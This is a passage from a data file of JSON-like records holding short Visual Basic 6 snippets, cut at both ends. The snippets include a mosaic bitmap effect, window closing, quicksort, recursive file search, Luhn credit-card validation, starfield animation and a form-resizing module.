.bounds(1).lLbound = 0\n .bounds(1).cElements = bmp.bmWidthBytes\n .pvData = bmp.bmBits\nEnd With\n'Map the pointer over\nCopyMemory ByVal VarPtrArray(pict), VarPtr(SA), 4\n'Make a temporary array to hold the bitmap data.\nReDim PictureArray(UBound(pict, 1), UBound(pict, 2))\n'Copy the bitmap into this array. I could use copymemory again, but this is fast enough, \n'and a lot safer :)\nFor c = 0 To UBound(pict, 1)\n For r = 0 To UBound(pict, 2)\n PictureArray(c, r) = pict(c, r)\n Next r\nNext c\n'Clean up\nCopyMemory ByVal VarPtrArray(pict), 0&, 4\n'======================================================================\nSelect Case MosaicMode\n Case 1\n 'Mosaic\n For k = 1 To 16 Step 1\n For L = 1 To 1\n\t\t'Cube roots used, because the squaring effect looks nicer. Also, due to the\n\t\t'Nature of my code, it hides irregular the pixel expansion\n mRange = k ^ 1.5\n GoSub Mosaic\n Next L\n Next k\n Case 2\n 'DeMosaic\n For k = 16 To 0 Step -(1)\n For L = 1 To 1\n mRange = k ^ 1.5\n GoSub Mosaic\n Next L\n Next k\n Case 3\n 'Mosaic, then DeMosaic\n For k = 1 To 8 Step 1\n mRange = k ^ 1.5\n GoSub Mosaic\n Next k\n For k = (8) To 0 Step -(1)\n mRange = k ^ 1.5\n GoSub Mosaic\n Next k\nEnd Select\nmosaicgoing = False\nExit Sub\n'Actual Mosaic Code\n'======================================================================\nMosaic:\n'Get the bitmap info again, in case something's changed\nGetObjectAPI pctMosaic.Picture, Len(bmp), bmp\n'Reinit the SA\nWith SA\n .cbElements = 1\n .cDims = 2\n .bounds(0).lLbound = 0\n .bounds(0).cElements = bmp.bmHeight\n .bounds(1).lLbound = 0\n .bounds(1).cElements = bmp.bmWidthBytes\n .pvData = bmp.bmBits\nEnd With\n''Fake' the pointer\nCopyMemory ByVal VarPtrArray(pict), VarPtr(SA), 4\n'Work out the distance between the square division grid, and the pixel to get data from.\npCenter = (mRange) \\ 2\n'Find the limits of the image\nuC = UBound(pict, 1)\nuR = UBound(pict, 2)\nFor c = 0 To UBound(pict, 1) Step (mRange + 1)\n For r = 0 To UBound(pict, 2) Step (mRange + 1)\n\t 'Work out the distance between the square division grid, and the pixel to get data from.\n pCenter = (mRange) \\ 2\n \n\t 'Pixel size to copy over\n\t rRangei = (mRange)\n rRangej = (mRange)\n \n 'Check if it's running out of bound, in case you turned the compiler option off.\n If c + mRange > UBound(pict, 1) Then rRangei = UBound(pict, 1) - c\n If r + mRange > UBound(pict, 2) Then rRangej = UBound(pict, 2) - r\n \n 'Work out where to get the data from\n pC = c + pCenter\n pR = r + pCenter\n If pC > UBound(pict, 1) Then pC = c\n If pR > UBound(pict, 2) Then pR = r\n 'Get the palette entry\n Value = PictureArray(pC, pR)\n If c = 0 Then cLimit = -pCenter\n If r = 0 Then rLimit = -pCenter\n \n 'Copy the palette entry number over the region's pixels\n For i = cLimit To (rRangei)\n For j = rLimit To (rRangej)\n If c + i < 0 Or r + j < 0 Then GoTo SkipPixel\n pict(c + i, r + j) = Value\nSkipPixel:\n Next j\n Next i\nSkipThis:\n \n Next r\nNext c\nEndThis:\n'Clean up\nCopyMemory ByVal VarPtrArray(pict), 0&, 4\n'Refresh, so the user sees the change. Don't replace with a DoEvents! \n'Refreshing is slower, but it's less dangerous!\npctMosaic.Refresh\n'======================================================================\nReturn\nEnd Sub"},{"WorldId":1,"id":886,"LineNumber":1,"line":"'*************************************************************************\n'WinKill Form Code\n'*************************************************************************\nPrivate Function Kill(hWnd&) \n Dim Res& ' Ask it politely to close\n Res = SendMessageA(hWnd, WM_CLOSE, 0, 0)\n ' Kill it (just in case)\n Res = SendMessageA(hWnd, WM_DESTROY, 0, 0)\nEnd Function\nPrivate Sub cmdKill_Click()\n Dim hWnd& ' Get the window handle\n hWnd = FindWindowA(vbNullString, txtName.Text) ' Call the kill function\n Kill (hWnd)\nEnd Sub"},{"WorldId":1,"id":891,"LineNumber":1,"line":"Function GetUser()\n ' This function uses a windows dll to query the registry automatically ti return the user name\n Dim sBuffer As String\n Dim lSize As Long\n ' Parameters for the dll declaration are set\n sBuffer = Space$(255)\n lSize = Len(sBuffer)\n Call GetUserName(sBuffer, lSize) ' Call the declared dll function\nIf lSize > 0 Then\n GetUser = Left$(sBuffer, lSize) ' Remove empty spaces\nElse\n GetUser = vbNullString ' Return empty if no user is found\nEnd If\nEnd Function"},{"WorldId":1,"id":892,"LineNumber":1,"line":"Private Sub Command1_Click()\n '-------------------------------------------------------------\n ' Produces a series of X random numbers without repeating any\n '-------------------------------------------------------------\n \n 'Results can be used by using array B(X)\n \n Dim A(10000) ' Sets the maximum number to pick\n Dim B(10000) ' Will be the list of new numbers (same as DIM above)\n Dim Message, Message_Style, Message_Title, Response\n \n 'Set the original array\n MaxNumber = 10000 ' Must equal the DIM above\n For seq = 0 To MaxNumber\n A(seq) = seq\n Next seq\n 'Main Loop (mix em all up)\n StartTime = Timer\n Randomize (Timer)\n For MainLoop = MaxNumber To 0 Step -1\n ChosenNumber = Int(MainLoop * Rnd)\n B(MaxNumber - MainLoop) = A(ChosenNumber)\n A(ChosenNumber) = A(MainLoop)\n Next MainLoop\n \n EndTime = Timer\n TotalTime = EndTime - StartTime\n \n Message = \"The sequence of \" + Format(MaxNumber, \"#,###,###,###\") + \" numbers has been\" + Chr$(10)\n Message = Message + \"mixed up in a total of \" + Format(TotalTime, \"##.######\") + \" seconds!\"\n Message_Style = vbInformationOnly + vbInformation + vbDefaultButton2\n Message_Title = \"Sequence Generated\"\n \n Response = MsgBox(Message, Message_Style, Message_Title)\nEnd Sub"},{"WorldId":1,"id":893,"LineNumber":1,"line":"\nSub TileBkgd(frm As Form, picholder As PictureBox, bkgdfile As String)\n If bkgdfile = \"\" Then Exit Sub\n Dim ScWidth%, ScHeight%, ScMode%, n%, o%\n \n ScMode% = frm.ScaleMode\n picholder.ScaleMode = 3\n frm.ScaleMode = 3\n picholder.Picture = LoadPicture(bkgdfile)\n picholder.ScaleMode = 3\n For n% = 0 To frm.Height Step picholder.ScaleHeight\n For o% = 0 To frm.Width Step picholder.ScaleWidth\n frm.PaintPicture picholder.Picture, o%, n%\n Next o%\n Next n%\n frm.ScaleMode = ScMode%\n picholder.Picture = LoadPicture()\nEnd Sub\n"},{"WorldId":1,"id":894,"LineNumber":1,"line":"\nSub TileMDIBkgd(MDIForm As Form, bkgdtiler As Form, bkgdfile As String)\n \n If bkgdfile = \"\" Then Exit Sub\n Dim ScWidth%, ScHeight%\n \n ScWidth% = Screen.Width / Screen.TwipsPerPixelX\n ScHeight% = Screen.Height / Screen.TwipsPerPixelY\n Load bkgdtiler\n bkgdtiler.Height = Screen.Height\n bkgdtiler.Width = Screen.Width\n bkgdtiler.ScaleMode = 3\n \n bkgdtiler!Picture1.Top = 0\n bkgdtiler!Picture1.Left = 0\n bkgdtiler!Picture1.Picture = LoadPicture(bkgdfile)\n bkgdtiler!Picture1.ScaleMode = 3\n For n% = 0 To ScHeight% Step bkgdtiler!Picture1.ScaleHeight\n For o% = 0 To ScWidth% Step bkgdtiler!Picture1.ScaleWidth\n bkgdtiler.PaintPicture bkgdtiler!Picture1.Picture, o%, n%\n Next o%\n Next n%\n \n MDIForm.Picture = bkgdtiler.Image\n Unload bkgdtiler\nEnd Sub\n"},{"WorldId":1,"id":896,"LineNumber":1,"line":"'General declarations section\n'Sliding Divider between two controls.\n'Written by: Aaron Stephens\n' Midnight Hour Enterprises, 1998.05.21\n'This code may be freely distributed and may be\n'altered in any way shape and form, if the author's\n'name is removed.\n'\n'If this code is used in it's un-altered form,\n'please give me some credit. Thanks.\n'Flag for to tell MouseMove wether the sliding divider\n'has been clicked.\nDim SDActive As Boolean\n'Define the minimum with of the right and left\n'controls.\nConst MinRightWidth = 0\nConst MinLeftWidth = 0\n'End general declarations section\nPrivate Sub Form_Load()\n 'Set the text boxes and sliding divider to their\n 'default parameters. In an adaptation, these\n 'options could be loaded at startup, having been\n 'saved at the last shutdown.\n 'In addition, and controls (tool or status bars)\n 'at the top or bottom of the form would need to\n 'be compensated for. It would be preferable to\n 'use a variable containing the offsets they\n 'produce, instead of hard-coding the values\n 'into every occurance in this form.\n \n TextLeft.Top = 0\n TextLeft.Left = 0\n TextLeft.Width = Me.ScaleWidth * 0.25\n TextLeft.Height = Me.ScaleHeight\n \n SlidingDivider.Top = 0\n SlidingDivider.Left = TextLeft.Width\n SlidingDivider.Width = 30\n SlidingDivider.Height = TextLeft.Height\n TextRight.Top = 0\n TextRight.Left = TextLeft.Width + SlidingDivider.Width\n TextRight.Width = Me.ScaleWidth - TextLeft.Width - SlidingDivider.Width\n TextRight.Height = TextLeft.Height\n \nEnd Sub\nPrivate Sub Form_Resize()\n 'This resizes all controls on the form when the\n 'form itself is resized.\n \n 'Set the sliding divider to be at the same relative\n 'position in the new form size.\n SlidingDivider.Left = CInt(Me.ScaleWidth * (SlidingDivider.Left / (TextLeft.Width + SlidingDivider.Width + TextRight.Width)))\n \n 'Set the left text box's height.\n TextLeft.Height = Me.ScaleHeight\n \n 'Set the left text box's width.\n TextLeft.Width = SlidingDivider.Left\n \n 'Set the sliding divider and the right text box\n 'height to the the same height as the left.\n SlidingDivider.Height = TextLeft.Height\n TextRight.Height = TextLeft.Height\n \n 'Set the right text box to fill the remainder\n 'of the form.\n TextRight.Left = TextLeft.Width + SlidingDivider.Width\n TextRight.Width = Me.ScaleWidth - TextLeft.Width - SlidingDivider.Width\nEnd Sub\nPrivate Sub SlidingDivider_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'This sets a variable to tell the MouseMove routine\n 'that the user has clicked the sliding divider.\n \n If Button = vbLeftButton Then\n SDActive = True\n End If\nEnd Sub\nPrivate Sub SlidingDivider_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'This sets the sliding divider position to the mouse\n 'position. I does check to make sure the sliding\n 'divider and the objects that adjust to it do not\n 'exceed the legal bounds of the form.\n \n 'If the divider is clicked and the mouse has moved...\n If SDActive = True And CLng(X) <> SlidingDivider.Left Then\n 'Set the DividerPosition\n SlidingDivider.Left = SlidingDivider.Left + (X - (SlidingDivider.Width / 2))\n \n 'Check the bounds of the divider position and\n 'correct if nesecary.\n If SlidingDivider.Left < MinLeftWidth Then SlidingDivider.Left = MinLeftWidth\n If SlidingDivider.Left + SlidingDivider.Width + MinRightWidth >= Me.ScaleWidth Then SlidingDivider.Left = Me.ScaleWidth - SlidingDivider.Width - MinRightWidth\n \n 'Resize the text boxes.\n TextLeft.Width = SlidingDivider.Left\n TextRight.Left = TextLeft.Width + SlidingDivider.Width\n TextRight.Width = Me.ScaleWidth - TextLeft.Width - SlidingDivider.Width\n End If\nEnd Sub\nPrivate Sub SlidingDivider_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'This calls the MouseMove routine to set the final\n 'sliding divider position the sets a variable to\n 'tell the MouseMove routine that the sliding\n 'divider is no longer clicked.\n \n SlidingDivider_MouseMove Button, Shift, X, Y\n SDActive = False\nEnd Sub\n"},{"WorldId":1,"id":897,"LineNumber":1,"line":"Public Function QSort(strList() As String, lLbound As Long, lUbound As Long)\n ':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'\n '::: :::'\n '::: Routine: QSort :::'\n '::: Author: Mike Shaffer (after Rod Stephens, et al.) :::'\n '::: Date: 21-May-98 :::'\n '::: Purpose: Very fast sort of a string array :::'\n '::: Passed: strList String array :::'\n '::: lLbound Lower bound to sort (usually 1) :::'\n '::: lUbound Upper bound to sort (usually ubound()) :::'\n '::: Returns: strList (in sorted order) :::'\n '::: Copyright: Copyright *c* 1998, Mike Shaffer :::'\n '::: ALL RIGHTS RESERVED WORLDWIDE :::'\n '::: Permission granted to use in any non-commercial :::'\n '::: product with credit where due. For free :::'\n '::: commercial license contact mshaffer@nkn.net :::'\n '::: Revisions: 22-May-98 Added and then dropped revision :::'\n '::: using CopyMemory rather than the simple swap :::'\n '::: when it was found to not provide much benefit. :::'\n '::: :::'\n ':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'\n Dim strTemp As String\n Dim strBuffer As String\n Dim lngCurLow As Long\n Dim lngCurHigh As Long\n Dim lngCurMidpoint As Long\n \n lngCurLow = lLbound ' Start current low and high at actual low/high\n lngCurHigh = lUbound\n \n If lUbound <= lLbound Then Exit Function ' Error!\n lngCurMidpoint = (lLbound + lUbound) \\ 2 ' Find the approx midpoint of the array\n \n strTemp = strList(lngCurMidpoint) ' Pick as a starting point (we are making\n ' an assumption that the data *might* be\n ' in semi-sorted order already!\n \n Do While (lngCurLow <= lngCurHigh)\n \n Do While strList(lngCurLow) < strTemp\n lngCurLow = lngCurLow + 1\n If lngCurLow = lUbound Then Exit Do\n Loop\n \n Do While strTemp < strList(lngCurHigh)\n lngCurHigh = lngCurHigh - 1\n If lngCurHigh = lLbound Then Exit Do\n Loop\n \n If (lngCurLow <= lngCurHigh) Then ' if low is <= high then swap\n strBuffer = strList(lngCurLow)\n strList(lngCurLow) = strList(lngCurHigh)\n strList(lngCurHigh) = strBuffer\n '\n lngCurLow = lngCurLow + 1 ' CurLow++\n lngCurHigh = lngCurHigh - 1 ' CurLow--\n End If\n \n Loop\n \n If lLbound < lngCurHigh Then ' Recurse if necessary\n QSort strList(), lLbound, lngCurHigh\n End If\n \n If lngCurLow < lUbound Then ' Recurse if necessary\n QSort strList(), lngCurLow, lUbound\n End If\n \nEnd Function\n"},{"WorldId":1,"id":899,"LineNumber":1,"line":"Function AddText(textcontrol As Object, text2add As String)\n On Error GoTo errhandlr\n tmptxt$ = textcontrol.Text 'just in case of an accident\n textcontrol.SelStart = Len(textcontrol.Text) ' move the \"cursor\" to the end of the text file\n textcontrol.SelLength = 0 ' highlight nothing (this becomes the selected text)\n textcontrol.SelText = text2add ' set the selected text ot text2add\n AddText = 1\n GoTo quitt ' goto the end of the sub\n'error handlers\nerrhandlr:\n If Err.Number <> 438 Then 'check the error number and restore the\n textcontrol.Text = tmptxt$ 'original text if the control supports it\n End If\n AddText = 0\n GoTo quitt\nquitt:\n tmptxt$ = \"\"\nEnd Function\n"},{"WorldId":1,"id":900,"LineNumber":1,"line":"Sub FilesSearch(DrivePath As String, Ext As String)\nDim XDir() As String\nDim TmpDir As String\nDim FFound As String\nDim DirCount As Integer\nDim X As Integer\n'Initialises Variables\nDirCount = 0\nReDim XDir(0) As String\nXDir(DirCount) = \"\"\nIf Right(DrivePath, 1) <> \"\\\" Then\n DrivePath = DrivePath & \"\\\"\nEnd If\n'Enter here the code for showing the path being\n'search. Example: Form1.label2 = DrivePath\n'Search for all directories and store in the\n'XDir() variable\nDoEvents\nTmpDir = Dir(DrivePath, vbDirectory)\nDo While TmpDir <> \"\"\n If TmpDir <> \".\" And TmpDir <> \"..\" Then\n If (GetAttr(DrivePath & TmpDir) And vbDirectory) = vbDirectory Then\n XDir(DirCount) = DrivePath & TmpDir & \"\\\"\n DirCount = DirCount + 1\n ReDim Preserve XDir(DirCount) As String\n End If\n End If\n TmpDir = Dir\nLoop\n'Searches for the files given by extension Ext\nFFound = Dir(DrivePath & Ext)\nDo Until FFound = \"\"\n 'Code in here for the actions of the files found.\n 'Files found stored in the variable FFound.\n 'Example: Form1.list1.AddItem DrivePath & FFound\n FFound = Dir\nLoop\n'Recursive searches through all sub directories\nFor X = 0 To (UBound(XDir) - 1)\n FilesSearch XDir(X), Ext\nNext X\nEnd Sub"},{"WorldId":1,"id":902,"LineNumber":1,"line":"Public Function IsValidCCNum(CCNum As String) As Boolean\n Dim i As Integer\n Dim total As Integer\n Dim TempMultiplier As String\n For i = Len(CCNum) To 2 Step -2\n total = total + CInt(Mid$(CCNum, i, 1))\n TempMultiplier = CStr((Mid$(CCNum, i - 1, 1)) * 2)\n total = total + CInt(Left$(TempMultiplier, 1))\n If Len(TempMultiplier) > 1 Then total = total + CInt(Right$(TempMultiplier, 1))\n Next\n If Len(CCNum) Mod 2 = 1 Then total = total + CInt(Left$(CCNum, 1))\n If total Mod 10 = 0 Then\n IsValidCCNum = True\n Else\n IsValidCCNum = False\n End If\nEnd Function"},{"WorldId":1,"id":903,"LineNumber":1,"line":"Public Function CardType(CCNum As String) As String\nDim Header As String\n Select Case Left$(CCNum, 1)\n Case \"5\"\n Header = Left$(CCNum, 2)\n If Header >= 51 And Header <= 55 And Len(CCNum) = 16 Then\n CardType = \"MasterCard\"\n End If\n Case \"4\"\n If Len(CCNum) = 13 Or Len(CCNum) = 16 Then\n CardType = \"Visa\"\n End If\n Case \"3\"\n Header = Left$(CCNum, 3)\n If Header >= 340 And Header <= 379 And Len(CCNum) = 15 Then\n CardType = \"AMEX\"\n End If\n If Header >= 300 And Header <= 305 And Len(CCNum) = 14 Then\n CardType = \"Diners Club\"\n End If\n If Header >= 360 And Header <= 369 And Len(CCNum) = 14 Then\n CardType = \"Diners Club\"\n End If\n If Header >= 380 And Header <= 389 And Len(CCNum) = 14 Then\n CardType = \"Diners Club\"\n End If\n If Header >= 300 And Header <= 399 And Len(CCNum) = 16 Then\n CardType = \"JCB\"\n End If\n Case \"6\"\n Header = Left$(CCNum, 4)\n If Header = \"6011\" And Len(CCNum) = 16 Then\n CardType = \"Discover\"\n End If\n Case \"2\"\n Header = Left$(CCNum, 4)\n If (Header = \"2014\" Or Header = \"2149\") And Len(CCNum) = 15 Then\n CardType = \"enRoute\"\n End If\n If Header = \"2131\" And Len(CCNum) = 15 Then\n CardType = \"JCB\"\n End If\n Case \"1\"\n Header = Left$(CCNum, 4)\n If Header = \"1800\" And Len(CCNum) = 15 Then\n CardType = \"JCB\"\n End If\n End Select\n If CardType = \"\" Then CardType = \"Unknown\"\nEnd Function"},{"WorldId":1,"id":906,"LineNumber":1,"line":"How to draw a moving starfield\nThis example shows how to design a moving star field ,the standard animated background used in most space shoot'em up games.You know,the one that asteroids of all kinds of sizes zip by with various speeds,creating a 3D effect.Here we go: \n1.Create a Timer control. 2.Make these settings through the Properties Window:\n\nForm1.WindowStart = 2\nForm1.Backcolor = &H00000000& (that's black)\nTimer1.Interval = 1\n\n3.The algorythm is kinda complicated to explain in spoken words,so I'll leave it up to you to figer out what's going on. \n\nDim X(50), Y(50), pace(50), size(50) As Integer\nPrivate Sub Form_Activate()\nRandomize\nFor I = 1 To 50\nx1 = Int(Form1.Width * Rnd)\ny1 = Int(Form1.Height * Rnd)\npace1 = Int(500 - (Int(Rnd * 499)))\nsize1 = 16 * Rnd\nX(I) = x1\nY(I) = y1\npace(I) = pace1\nsize(I) = size1\nNext\nEnd Sub\nPrivate Sub Timer1_Timer()\nFor I = 1 To 50\nCircle (X(I), Y(I)), size(I), BackColor\nY(I) = Y(I) + pace(I)\nIf Y(I) >= Form1.Height Then Y(I) = 0: X(I) = Int(Form1.Width * Rnd)\nCircle (X(I), Y(I)), size(I)\nNext\nEnd Sub"},{"WorldId":1,"id":920,"LineNumber":1,"line":"'\nDim X(100), Y(100), Z(100) As Integer\nDim tmpX(100), tmpY(100), tmpZ(100) As Integer\nDim K As Integer\nDim Zoom As Integer\nDim Speed As Integer\nPrivate Sub Form_Activate()\nSpeed = -1\nK = 2038\nZoom = 256\nTimer1.Interval = 1\nFor i = 0 To 100\n X(i) = Int(Rnd * 1024) - 512\n Y(i) = Int(Rnd * 1024) - 512\n Z(i) = Int(Rnd * 512) - 256\nNext i\nEnd Sub\nPrivate Sub Timer1_Timer()\nFor i = 0 To 100\n Circle (tmpX(i), tmpY(i)), 5, BackColor\n Z(i) = Z(i) + Speed\n If Z(i) > 255 Then Z(i) = -255\n If Z(i) < -255 Then Z(i) = 255\n tmpZ(i) = Z(i) + Zoom\n tmpX(i) = (X(i) * K / tmpZ(i)) + (Form1.Width / 2)\n tmpY(i) = (Y(i) * K / tmpZ(i)) + (Form1.Height / 2)\n Radius = 1\n StarColor = 256 - Z(i)\n Circle (tmpX(i), tmpY(i)), 5, RGB(StarColor, StarColor, StarColor)\n \nNext i\nEnd Sub\n"},{"WorldId":1,"id":927,"LineNumber":1,"line":"'Workfile: RS_FORM.BAS\r\n'Created: 06/18/98\r\n'Updated: 06/18/98\r\n'Author: Scott Whitlow\r\n'Description: This module provides the code needed to\r\n' adjust the placement of all controls on\r\n' a form. There are three public subs.\r\n' How to use this module:\r\n' In a forms Resize event type\r\n' ResizeForm Me\r\n' - This will resize all controls\r\n' on the form to match new form size\r\n' You can save a default form size by calling\r\n' SaveFormPosition Me\r\n' You can restore a form to its original size or\r\n' the size that was stored using the StoreFormPosition\r\n' sub by calling\r\n' RestoreFormPosition Me\r\n'Dependencies: None\r\n'Issues: MDIChild forms caused a memory stack overflow error\r\n' Resolved: Code was changed to be more MDIChild aware\r\n' Note: Do not make MDIChild Forms Maximized at design time.\r\n' You may change the WindowState property after the\r\n' Resize event has occured once durring runtime.\r\n' Please E-Mail problems to swhitlow@finishlines.com\r\nOption Explicit\r\nPublic Type ctrObj\r\n Name As String\r\n Index As Long\r\n Parrent As String\r\n Top As Long\r\n Left As Long\r\n Height As Long\r\n Width As Long\r\n ScaleHeight As Long\r\n ScaleWidth As Long\r\nEnd Type\r\nPrivate FormRecord() As ctrObj\r\nPrivate ControlRecord() As ctrObj\r\nPrivate bRunning As Boolean\r\nPrivate MaxForm As Long\r\nPrivate MaxControl As Long\r\nPrivate Function ActualPos(plLeft As Long) As Long\r\n If plLeft < 0 Then\r\n ActualPos = plLeft + 75000\r\n Else\r\n ActualPos = plLeft\r\n End If\r\nEnd Function\r\nPrivate Function FindForm(pfrmIn As Form) As Long\r\nDim i As Long\r\n FindForm = -1\r\n If MaxForm > 0 Then\r\n For i = 0 To (MaxForm - 1)\r\n If FormRecord(i).Name = pfrmIn.Name Then\r\n FindForm = i\r\n Exit Function\r\n End If\r\n Next i\r\n End If\r\nEnd Function\r\nPrivate Function AddForm(pfrmIn As Form) As Long\r\nDim FormControl As Control\r\nDim i As Long\r\n ReDim Preserve FormRecord(MaxForm + 1)\r\n FormRecord(MaxForm).Name = pfrmIn.Name\r\n FormRecord(MaxForm).Top = pfrmIn.Top\r\n FormRecord(MaxForm).Left = pfrmIn.Left\r\n FormRecord(MaxForm).Height = pfrmIn.Height\r\n FormRecord(MaxForm).Width = pfrmIn.Width\r\n FormRecord(MaxForm).ScaleHeight = pfrmIn.ScaleHeight\r\n FormRecord(MaxForm).ScaleWidth = pfrmIn.ScaleWidth\r\n AddForm = MaxForm\r\n MaxForm = MaxForm + 1\r\n For Each FormControl In pfrmIn\r\n i = FindControl(FormControl, pfrmIn.Name)\r\n If i < 0 Then\r\n i = AddControl(FormControl, pfrmIn.Name)\r\n End If\r\n Next FormControl\r\nEnd Function\r\nPrivate Function FindControl(inControl As Control, inName As String) As Long\r\nDim i As Long\r\n FindControl = -1\r\n For i = 0 To (MaxControl - 1)\r\n If ControlRecord(i).Parrent = inName Then\r\n If ControlRecord(i).Name = inControl.Name Then\r\n On Error Resume Next\r\n If ControlRecord(i).Index = inControl.Index Then\r\n FindControl = i\r\n Exit Function\r\n End If\r\n On Error GoTo 0\r\n End If\r\n End If\r\n Next i\r\nEnd Function\r\nPrivate Function AddControl(inControl As Control, inName As String) As Long\r\n ReDim Preserve ControlRecord(MaxControl + 1)\r\n On Error Resume Next\r\n ControlRecord(MaxControl).Name = inControl.Name\r\n ControlRecord(MaxControl).Index = inControl.Index\r\n ControlRecord(MaxControl).Parrent = inName\r\n If TypeOf inControl Is Line Then\r\n ControlRecord(MaxControl).Top = inControl.Y1\r\n ControlRecord(MaxControl).Left = ActualPos(inControl.X1)\r\n ControlRecord(MaxControl).Height = inControl.Y2\r\n ControlRecord(MaxControl).Width = ActualPos(inControl.X2)\r\n Else\r\n ControlRecord(MaxControl).Top = inControl.Top\r\n ControlRecord(MaxControl).Left = ActualPos(inControl.Left)\r\n ControlRecord(MaxControl).Height = inControl.Height\r\n ControlRecord(MaxControl).Width = inControl.Width\r\n End If\r\n inControl.IntegralHeight = False\r\n On Error GoTo 0\r\n AddControl = MaxControl\r\n MaxControl = MaxControl + 1\r\nEnd Function\r\nPrivate Function PerWidth(pfrmIn As Form) As Long\r\nDim i As Long\r\n i = FindForm(pfrmIn)\r\n If i < 0 Then\r\n i = AddForm(pfrmIn)\r\n End If\r\n PerWidth = (pfrmIn.ScaleWidth * 100) \\ FormRecord(i).ScaleWidth\r\nEnd Function\r\nPrivate Function PerHeight(pfrmIn As Form) As Single\r\nDim i As Long\r\n i = FindForm(pfrmIn)\r\n If i < 0 Then\r\n i = AddForm(pfrmIn)\r\n End If\r\n PerHeight = (pfrmIn.ScaleHeight * 100) \\ FormRecord(i).ScaleHeight\r\nEnd Function\r\nPrivate Sub ResizeControl(inControl As Control, pfrmIn As Form)\r\nOn Error Resume Next\r\nDim i As Long\r\nDim widthfactor As Single, heightfactor As Single\r\nDim minFactor As Single\r\nDim yRatio, xRatio, lTop, lLeft, lWidth, lHeight As Long\r\n \r\n yRatio = PerHeight(pfrmIn)\r\n xRatio = PerWidth(pfrmIn)\r\n i = FindControl(inControl, pfrmIn.Name)\r\n If inControl.Left < 0 Then\r\n lLeft = CLng(((ControlRecord(i).Left * xRatio) \\ 100) - 75000)\r\n Else\r\n lLeft = CLng((ControlRecord(i).Left * xRatio) \\ 100)\r\n End If\r\n lTop = CLng((ControlRecord(i).Top * yRatio) \\ 100)\r\n lWidth = CLng((ControlRecord(i).Width * xRatio) \\ 100)\r\n lHeight = CLng((ControlRecord(i).Height * yRatio) \\ 100)\r\n If TypeOf inControl Is Line Then\r\n If inControl.X1 < 0 Then\r\n inControl.X1 = CLng(((ControlRecord(i).Left * xRatio) \\ 100) - 75000)\r\n Else\r\n inControl.X1 = CLng((ControlRecord(i).Left * xRatio) \\ 100)\r\n End If\r\n inControl.Y1 = CLng((ControlRecord(i).Top * yRatio) \\ 100)\r\n If inControl.X2 < 0 Then\r\n inControl.X2 = CLng(((ControlRecord(i).Width * xRatio) \\ 100) - 75000)\r\n Else\r\n inControl.X2 = CLng((ControlRecord(i).Width * xRatio) \\ 100)\r\n End If\r\n inControl.Y2 = CLng((ControlRecord(i).Height * yRatio) \\ 100)\r\n Else\r\n inControl.Move lLeft, lTop, lWidth, lHeight\r\n inControl.Move lLeft, lTop, lWidth\r\n inControl.Move lLeft, lTop\r\n End If\r\nEnd Sub\r\nPublic Sub ResizeForm(pfrmIn As Form)\r\nDim FormControl As Control\r\nDim isVisible As Boolean\r\nDim StartX, StartY, MaxX, MaxY As Long\r\nDim bNew As Boolean\r\nIf Not bRunning Then\r\n bRunning = True\r\n If FindForm(pfrmIn) < 0 Then\r\n bNew = True\r\n Else\r\n bNew = False\r\n End If\r\n If pfrmIn.Top < 30000 Then\r\n isVisible = pfrmIn.Visible\r\n On Error Resume Next\r\n If Not pfrmIn.MDIChild Then\r\n On Error GoTo 0\r\n ' pfrmIn.Visible = False\r\n Else\r\n If bNew Then\r\n StartY = pfrmIn.Height\r\n StartX = pfrmIn.Width\r\n On Error Resume Next\r\n For Each FormControl In pfrmIn\r\n If FormControl.Left + FormControl.Width + 200 > MaxX Then\r\n MaxX = FormControl.Left + FormControl.Width + 200\r\n End If\r\n If FormControl.Top + FormControl.Height + 500 > MaxY Then\r\n MaxY = FormControl.Top + FormControl.Height + 500\r\n End If\r\n If FormControl.X1 + 200 > MaxX Then\r\n MaxX = FormControl.X1 + 200\r\n End If\r\n If FormControl.Y1 + 500 > MaxY Then\r\n MaxY = FormControl.Y1 + 500\r\n End If\r\n If FormControl.X2 + 200 > MaxX Then\r\n MaxX = FormControl.X2 + 200\r\n End If\r\n If FormControl.Y2 + 500 > MaxY Then\r\n MaxY = FormControl.Y2 + 500\r\n End If\r\n Next FormControl\r\n On Error GoTo 0\r\n pfrmIn.Height = MaxY\r\n pfrmIn.Width = MaxX\r\n End If\r\n On Error GoTo 0\r\n End If\r\n For Each FormControl In pfrmIn\r\n ResizeControl FormControl, pfrmIn\r\n Next FormControl\r\n On Error Resume Next\r\n If Not pfrmIn.MDIChild Then\r\n On Error GoTo 0\r\n pfrmIn.Visible = isVisible\r\n Else\r\n If bNew Then\r\n pfrmIn.Height = StartY\r\n pfrmIn.Width = StartX\r\n For Each FormControl In pfrmIn\r\n ResizeControl FormControl, pfrmIn\r\n Next FormControl\r\n End If\r\n End If\r\n On Error GoTo 0\r\n End If\r\n bRunning = False\r\nEnd If\r\nEnd Sub\r\nPublic Sub SaveFormPosition(pfrmIn As Form)\r\nDim i As Long\r\n If MaxForm > 0 Then\r\n For i = 0 To (MaxForm - 1)\r\n If FormRecord(i).Name = pfrmIn.Name Then\r\n FormRecord(i).Top = pfrmIn.Top\r\n FormRecord(i).Left = pfrmIn.Left\r\n FormRecord(i).Height = pfrmIn.Height\r\n FormRecord(i).Width = pfrmIn.Width\r\n Exit Sub\r\n End If\r\n Next i\r\n AddForm (pfrmIn)\r\n End If\r\nEnd Sub\r\nPublic Sub RestoreFormPosition(pfrmIn As Form)\r\nDim i As Long\r\n If MaxForm > 0 Then\r\n For i = 0 To (MaxForm - 1)\r\n If FormRecord(i).Name = pfrmIn.Name Then\r\n If FormRecord(i).Top < 0 Then\r\n pfrmIn.WindowState = 2\r\n ElseIf FormRecord(i).Top < 30000 Then\r\n pfrmIn.WindowState = 0\r\n pfrmIn.Move FormRecord(i).Left, FormRecord(i).Top, FormRecord(i).Width, FormRecord(i).Height\r\n Else\r\n pfrmIn.WindowState = 1\r\n End If\r\n Exit Sub\r\n End If\r\n Next i\r\n End If\r\nEnd Sub\r\n"},{"WorldId":1,"id":937,"LineNumber":1,"line":"' in clsTimer...\nDim start, finish\nPublic Sub StopTimer()\n finish = GetTickCount()\nEnd Sub\nPublic Sub StartTimer()\n start = GetTickCount()\n finish = 0\nEnd Sub\nPublic Sub 